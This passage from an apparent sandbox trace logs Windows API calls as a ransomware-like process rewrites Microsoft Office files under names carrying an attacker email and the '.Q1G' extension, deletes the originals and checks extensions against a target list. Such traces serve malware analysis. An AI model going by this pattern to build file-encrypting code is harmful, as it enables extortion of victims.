returned 1 [0247.693] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0247.693] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Discussion14.gta.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\discussion14.gta.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0247.693] GetLastError () returned 0x0 [0247.693] ReadFile (in: hFile=0x3a0, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x305fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x305fed4*=0x587c9, lpOverlapped=0x0) returned 1 [0247.706] WriteFile (in: hFile=0x3c0, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0x587d0, lpNumberOfBytesWritten=0x305fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x305fc9c*=0x587d0, lpOverlapped=0x0) returned 1 [0247.712] ReadFile (in: hFile=0x3a0, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x305fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x305fed4*=0x0, lpOverlapped=0x0) returned 1 [0247.712] WriteFile (in: hFile=0x3c0, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x305fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x305fc9c*=0xf4, lpOverlapped=0x0) returned 1 [0247.712] SetEndOfFile (hFile=0x3c0) returned 1 [0247.712] CloseHandle (hObject=0x3c0) returned 1 [0247.712] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0247.712] SetEndOfFile (hFile=0x3a0) returned 1 [0247.720] CloseHandle (hObject=0x3a0) returned 1 [0247.720] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Discussion14.gta.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0247.720] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Discussion14.gta" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\discussion14.gta")) returned 1 [0247.721] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Discussion14.gta") returned 64 [0247.721] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Discussion14.gta") returned 64 [0247.721] lstrlenW (lpString=".doc") returned 4 [0247.721] lstrcmpiW (lpString1=".doc", lpString2=".gta") returned -1 [0247.721] lstrlenW (lpString=".docx") returned 5 [0247.721] lstrcmpiW (lpString1=".docx", lpString2="4.gta") returned -1 [0247.721] lstrlenW (lpString=".pdf") returned 4 [0247.721] lstrcmpiW (lpString1=".pdf", lpString2=".gta") returned 1 [0247.721] lstrlenW (lpString=".xls") returned 4 [0247.721] lstrcmpiW (lpString1=".xls", lpString2=".gta") returned 1 [0247.721] lstrlenW (lpString=".xlsx") returned 5 [0247.721] lstrcmpiW (lpString1=".xlsx", lpString2="4.gta") returned -1 [0247.721] lstrlenW (lpString=".ppt") returned 4 [0247.721] lstrcmpiW (lpString1=".ppt", lpString2=".gta") returned 1 [0247.721] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Discussion14.gta") returned 64 [0247.721] lstrlenW (lpString=".zip") returned 4 [0247.721] lstrcmpiW (lpString1=".zip", lpString2=".gta") returned 1 [0247.721] lstrlenW (lpString=".rar") returned 4 [0247.721] lstrcmpiW (lpString1=".rar", lpString2=".gta") returned 1 [0247.721] lstrlenW (lpString=".bz2") returned 4 [0247.721] lstrcmpiW (lpString1=".bz2", lpString2=".gta") returned -1 [0247.721] lstrlenW (lpString=".7z") returned 3 [0247.721] lstrcmpiW (lpString1=".7z", lpString2="gta") returned -1 [0247.721] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Discussion14.gta") returned 64 [0247.721] lstrlenW (lpString=".dbf") returned 4 [0247.721] lstrcmpiW (lpString1=".dbf", lpString2=".gta") returned -1 [0247.721] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Discussion14.gta") returned 64 [0247.721] lstrlenW (lpString=".1cd") returned 4 [0247.721] lstrcmpiW (lpString1=".1cd", lpString2=".gta") returned -1 [0247.721] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Discussion14.gta") returned 64 [0247.721] lstrlenW (lpString=".jpg") returned 4 [0247.721] lstrcmpiW (lpString1=".jpg", lpString2=".gta") returned 1 [0247.721] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Discussion14.gta") returned 64 [0247.721] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Discussion14.gta") returned 64 [0247.722] lstrlenW (lpString=".doc") returned 4 [0247.722] lstrcmpiW (lpString1=".doc", lpString2=".gta") returned -1 [0247.722] lstrlenW (lpString=".docx") returned 5 [0247.722] lstrcmpiW (lpString1=".docx", lpString2="4.gta") returned -1 [0247.722] lstrlenW (lpString=".pdf") returned 4 [0247.722] lstrcmpiW (lpString1=".pdf", lpString2=".gta") returned 1 [0247.722] lstrlenW (lpString=".xls") returned 4 [0247.722] lstrcmpiW (lpString1=".xls", lpString2=".gta") returned 1 [0247.722] lstrlenW (lpString=".xlsx") returned 5 [0247.722] lstrcmpiW (lpString1=".xlsx", lpString2="4.gta") returned -1 [0247.722] lstrlenW (lpString=".ppt") returned 4 [0247.722] lstrcmpiW (lpString1=".ppt", lpString2=".gta") returned 1 [0247.722] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Discussion14.gta") returned 64 [0247.722] lstrlenW (lpString=".zip") returned 4 [0247.722] lstrcmpiW (lpString1=".zip", lpString2=".gta") returned 1 [0247.722] lstrlenW (lpString=".rar") returned 4 [0247.722] lstrcmpiW (lpString1=".rar", lpString2=".gta") returned 1 [0247.722] lstrlenW (lpString=".bz2") returned 4 [0247.722] lstrcmpiW (lpString1=".bz2", lpString2=".gta") returned -1 [0247.722] lstrlenW (lpString=".7z") returned 3 [0247.722] lstrcmpiW (lpString1=".7z", lpString2="gta") returned -1 [0247.722] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Discussion14.gta") returned 64 [0247.722] lstrlenW (lpString=".dbf") returned 4 [0247.722] lstrcmpiW (lpString1=".dbf", lpString2=".gta") returned -1 [0247.722] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Discussion14.gta") returned 64 [0247.722] lstrlenW (lpString=".1cd") returned 4 [0247.722] lstrcmpiW (lpString1=".1cd", lpString2=".gta") returned -1 [0247.722] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Discussion14.gta") returned 64 [0247.722] lstrlenW (lpString=".jpg") returned 4 [0247.722] lstrcmpiW (lpString1=".jpg", lpString2=".gta") returned 1 [0247.722] lstrcmpiW (lpString1=".DLL", lpString2=".Q1G") returned -1 [0247.722] lstrlenW (lpString="DL_RES.DLL") returned 10 [0247.722] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DL_RES.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dl_res.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0247.724] GetFileSizeEx (in: hFile=0x3c0, lpFileSize=0x305ff1c | out: lpFileSize=0x305ff1c*=10632) returned 1 [0247.724] CloseHandle (hObject=0x3c0) returned 1 [0247.724] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DL_RES.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dl_res.dll")) returned 0x20 [0247.724] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DL_RES.DLL.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dl_res.dll.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0247.724] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DL_RES.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dl_res.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0247.724] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DL_RES.DLL") returned 58 [0247.724] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DL_RES.DLL") returned 58 [0247.724] lstrlenW (lpString=".doc") returned 4 [0247.724] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0247.724] lstrlenW (lpString=".docx") returned 5 [0247.724] lstrcmpiW (lpString1=".docx", lpString2="S.DLL") returned -1 [0247.724] lstrlenW (lpString=".pdf") returned 4 [0247.724] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0247.724] lstrlenW (lpString=".xls") returned 4 [0247.724] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0247.724] lstrlenW (lpString=".xlsx") returned 5 [0247.724] lstrcmpiW (lpString1=".xlsx", lpString2="S.DLL") returned -1 [0247.724] lstrlenW (lpString=".ppt") returned 4 [0247.724] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0247.724] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DL_RES.DLL") returned 58 [0247.724] lstrlenW (lpString=".zip") returned 4 [0247.724] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0247.724] lstrlenW (lpString=".rar") returned 4 [0247.724] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0247.724] lstrlenW (lpString=".bz2") returned 4 [0247.724] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0247.725] lstrlenW (lpString=".7z") returned 3 [0247.725] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0247.725] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DL_RES.DLL") returned 58 [0247.725] lstrlenW (lpString=".dbf") returned 4 [0247.725] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0247.725] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DL_RES.DLL") returned 58 [0247.725] lstrlenW (lpString=".1cd") returned 4 [0247.725] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0247.725] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DL_RES.DLL") returned 58 [0247.725] lstrlenW (lpString=".jpg") returned 4 [0247.725] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0247.725] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DL_RES.DLL") returned 58 [0247.725] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DL_RES.DLL") returned 58 [0247.725] lstrlenW (lpString=".doc") returned 4 [0247.725] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0247.725] lstrlenW (lpString=".docx") returned 5 [0247.725] lstrcmpiW (lpString1=".docx", lpString2="S.DLL") returned -1 [0247.725] lstrlenW (lpString=".pdf") returned 4 [0247.725] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0247.725] lstrlenW (lpString=".xls") returned 4 [0247.725] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0247.725] lstrlenW (lpString=".xlsx") returned 5 [0247.725] lstrcmpiW (lpString1=".xlsx", lpString2="S.DLL") returned -1 [0247.725] lstrlenW (lpString=".ppt") returned 4 [0247.725] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0247.725] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DL_RES.DLL") returned 58 [0247.725] lstrlenW (lpString=".zip") returned 4 [0247.725] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0247.725] lstrlenW (lpString=".rar") returned 4 [0247.725] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0247.725] lstrlenW (lpString=".bz2") returned 4 [0247.725] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0247.725] lstrlenW (lpString=".7z") returned 3 [0247.725] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0247.725] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DL_RES.DLL") returned 58 [0247.725] lstrlenW (lpString=".dbf") returned 4 [0247.725] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0247.725] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DL_RES.DLL") returned 58 [0247.726] lstrlenW (lpString=".1cd") returned 4 [0247.726] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0247.726] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DL_RES.DLL") returned 58 [0247.726] lstrlenW (lpString=".jpg") returned 4 [0247.726] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0247.726] lstrcmpiW (lpString1=".VRD", lpString2=".Q1G") returned 1 [0247.726] lstrlenW (lpString="DOORSCHD.VRD") returned 12 [0247.726] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DOORSCHD.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\doorschd.vrd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0247.726] GetFileSizeEx (in: hFile=0x3c0, lpFileSize=0x305ff1c | out: lpFileSize=0x305ff1c*=1723) returned 1 [0247.726] CloseHandle (hObject=0x3c0) returned 1 [0247.726] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DOORSCHD.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\doorschd.vrd")) returned 0x20 [0247.726] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DOORSCHD.VRD.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\doorschd.vrd.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0247.726] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DOORSCHD.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\doorschd.vrd"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0247.727] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0247.727] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0247.727] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DOORSCHD.VRD.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\doorschd.vrd.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0247.727] GetLastError () returned 0x0 [0247.727] ReadFile (in: hFile=0x3c0, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x305fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x305fed4*=0x6bb, lpOverlapped=0x0) returned 1 [0247.729] WriteFile (in: hFile=0x3bc, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0x6c0, lpNumberOfBytesWritten=0x305fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x305fc9c*=0x6c0, lpOverlapped=0x0) returned 1 [0247.730] ReadFile (in: hFile=0x3c0, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x305fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x305fed4*=0x0, lpOverlapped=0x0) returned 1 [0247.730] WriteFile (in: hFile=0x3bc, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x305fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x305fc9c*=0xec, lpOverlapped=0x0) returned 1 [0247.730] SetEndOfFile (hFile=0x3bc) returned 1 [0247.730] CloseHandle (hObject=0x3bc) returned 1 [0247.730] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0247.730] SetEndOfFile (hFile=0x3c0) returned 1 [0247.732] CloseHandle (hObject=0x3c0) returned 1 [0247.732] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DOORSCHD.VRD.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0247.733] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DOORSCHD.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\doorschd.vrd")) returned 1 [0247.733] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DOORSCHD.VRD") returned 60 [0247.733] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DOORSCHD.VRD") returned 60 [0247.734] lstrlenW (lpString=".doc") returned 4 [0247.734] lstrcmpiW (lpString1=".doc", lpString2=".VRD") returned -1 [0247.734] lstrlenW (lpString=".docx") returned 5 [0247.734] lstrcmpiW (lpString1=".docx", lpString2="D.VRD") returned -1 [0247.734] lstrlenW (lpString=".pdf") returned 4 [0247.734] lstrcmpiW (lpString1=".pdf", lpString2=".VRD") returned -1 [0247.734] lstrlenW (lpString=".xls") returned 4 [0247.734] lstrcmpiW (lpString1=".xls", lpString2=".VRD") returned 1 [0247.734] lstrlenW (lpString=".xlsx") returned 5 [0247.734] lstrcmpiW (lpString1=".xlsx", lpString2="D.VRD") returned -1 [0247.734] lstrlenW (lpString=".ppt") returned 4 [0247.734] lstrcmpiW (lpString1=".ppt", lpString2=".VRD") returned -1 [0247.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DOORSCHD.VRD") returned 60 [0247.734] lstrlenW (lpString=".zip") returned 4 [0247.734] lstrcmpiW (lpString1=".zip", lpString2=".VRD") returned 1 [0247.734] lstrlenW (lpString=".rar") returned 4 [0247.734] lstrcmpiW (lpString1=".rar", lpString2=".VRD") returned -1 [0247.734] lstrlenW (lpString=".bz2") returned 4 [0247.734] lstrcmpiW (lpString1=".bz2", lpString2=".VRD") returned -1 [0247.734] lstrlenW (lpString=".7z") returned 3 [0247.734] lstrcmpiW (lpString1=".7z", lpString2="VRD") returned -1 [0247.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DOORSCHD.VRD") returned 60 [0247.734] lstrlenW (lpString=".dbf") returned 4 [0247.734] lstrcmpiW (lpString1=".dbf", lpString2=".VRD") returned -1 [0247.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DOORSCHD.VRD") returned 60 [0247.734] lstrlenW (lpString=".1cd") returned 4 [0247.734] lstrcmpiW (lpString1=".1cd", lpString2=".VRD") returned -1 [0247.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DOORSCHD.VRD") returned 60 [0247.734] lstrlenW (lpString=".jpg") returned 4 [0247.734] lstrcmpiW (lpString1=".jpg", lpString2=".VRD") returned -1 [0247.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DOORSCHD.VRD") returned 60 [0247.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DOORSCHD.VRD") returned 60 [0247.735] lstrlenW (lpString=".doc") returned 4 [0247.735] lstrcmpiW (lpString1=".doc", lpString2=".VRD") returned -1 [0247.735] lstrlenW (lpString=".docx") returned 5 [0247.735] lstrcmpiW (lpString1=".docx", lpString2="D.VRD") returned -1 [0247.735] lstrlenW (lpString=".pdf") returned 4 [0247.735] lstrcmpiW (lpString1=".pdf", lpString2=".VRD") returned -1 [0247.735] lstrlenW (lpString=".xls") returned 4 [0247.735] lstrcmpiW (lpString1=".xls", lpString2=".VRD") returned 1 [0247.735] lstrlenW (lpString=".xlsx") returned 5 [0247.735] lstrcmpiW (lpString1=".xlsx", lpString2="D.VRD") returned -1 [0247.735] lstrlenW (lpString=".ppt") returned 4 [0247.735] lstrcmpiW (lpString1=".ppt", lpString2=".VRD") returned -1 [0247.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DOORSCHD.VRD") returned 60 [0247.735] lstrlenW (lpString=".zip") returned 4 [0247.735] lstrcmpiW (lpString1=".zip", lpString2=".VRD") returned 1 [0247.735] lstrlenW (lpString=".rar") returned 4 [0247.735] lstrcmpiW (lpString1=".rar", lpString2=".VRD") returned -1 [0247.735] lstrlenW (lpString=".bz2") returned 4 [0247.735] lstrcmpiW (lpString1=".bz2", lpString2=".VRD") returned -1 [0247.735] lstrlenW (lpString=".7z") returned 3 [0247.735] lstrcmpiW (lpString1=".7z", lpString2="VRD") returned -1 [0247.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DOORSCHD.VRD") returned 60 [0247.735] lstrlenW (lpString=".dbf") returned 4 [0247.735] lstrcmpiW (lpString1=".dbf", lpString2=".VRD") returned -1 [0247.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DOORSCHD.VRD") returned 60 [0247.735] lstrlenW (lpString=".1cd") returned 4 [0247.735] lstrcmpiW (lpString1=".1cd", lpString2=".VRD") returned -1 [0247.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DOORSCHD.VRD") returned 60 [0247.735] lstrlenW (lpString=".jpg") returned 4 [0247.735] lstrcmpiW (lpString1=".jpg", lpString2=".VRD") returned -1 [0247.736] lstrcmpiW (lpString1=".VSL", lpString2=".Q1G") returned 1 [0247.736] lstrlenW (lpString="DRILLDWN.VSL") returned 12 [0247.736] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DRILLDWN.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\drilldwn.vsl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0247.903] GetFileSizeEx (in: hFile=0x3b4, lpFileSize=0x305ff1c | out: lpFileSize=0x305ff1c*=64872) returned 1 [0247.903] CloseHandle (hObject=0x3b4) returned 1 [0247.903] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DRILLDWN.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\drilldwn.vsl")) returned 0x20 [0247.925] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DRILLDWN.VSL.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\drilldwn.vsl.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0247.972] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DRILLDWN.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\drilldwn.vsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0247.972] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0247.972] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0247.972] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DRILLDWN.VSL.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\drilldwn.vsl.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0247.972] GetLastError () returned 0x0 [0247.973] ReadFile (in: hFile=0x3bc, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x305fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x305fed4*=0xfd68, lpOverlapped=0x0) returned 1 [0247.990] WriteFile (in: hFile=0x3b4, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xfd70, lpNumberOfBytesWritten=0x305fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x305fc9c*=0xfd70, lpOverlapped=0x0) returned 1 [0247.991] ReadFile (in: hFile=0x3bc, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x305fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x305fed4*=0x0, lpOverlapped=0x0) returned 1 [0247.991] WriteFile (in: hFile=0x3b4, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x305fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x305fc9c*=0xec, lpOverlapped=0x0) returned 1 [0247.992] SetEndOfFile (hFile=0x3b4) returned 1 [0247.992] CloseHandle (hObject=0x3b4) returned 1 [0247.992] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0247.992] SetEndOfFile (hFile=0x3bc) returned 1 [0247.994] CloseHandle (hObject=0x3bc) returned 1 [0247.995] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DRILLDWN.VSL.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0248.000] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DRILLDWN.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\drilldwn.vsl")) returned 1 [0248.202] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DRILLDWN.VSL") returned 60 [0248.202] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DRILLDWN.VSL") returned 60 [0248.202] lstrlenW (lpString=".doc") returned 4 [0248.202] lstrcmpiW (lpString1=".doc", lpString2=".VSL") returned -1 [0248.202] lstrlenW (lpString=".docx") returned 5 [0248.202] lstrcmpiW (lpString1=".docx", lpString2="N.VSL") returned -1 [0248.202] lstrlenW (lpString=".pdf") returned 4 [0248.202] lstrcmpiW (lpString1=".pdf", lpString2=".VSL") returned -1 [0248.202] lstrlenW (lpString=".xls") returned 4 [0248.202] lstrcmpiW (lpString1=".xls", lpString2=".VSL") returned 1 [0248.202] lstrlenW (lpString=".xlsx") returned 5 [0248.202] lstrcmpiW (lpString1=".xlsx", lpString2="N.VSL") returned -1 [0248.203] lstrlenW (lpString=".ppt") returned 4 [0248.203] lstrcmpiW (lpString1=".ppt", lpString2=".VSL") returned -1 [0248.203] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DRILLDWN.VSL") returned 60 [0248.203] lstrlenW (lpString=".zip") returned 4 [0248.203] lstrcmpiW (lpString1=".zip", lpString2=".VSL") returned 1 [0248.203] lstrlenW (lpString=".rar") returned 4 [0248.203] lstrcmpiW (lpString1=".rar", lpString2=".VSL") returned -1 [0248.203] lstrlenW (lpString=".bz2") returned 4 [0248.203] lstrcmpiW (lpString1=".bz2", lpString2=".VSL") returned -1 [0248.203] lstrlenW (lpString=".7z") returned 3 [0248.203] lstrcmpiW (lpString1=".7z", lpString2="VSL") returned -1 [0248.203] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DRILLDWN.VSL") returned 60 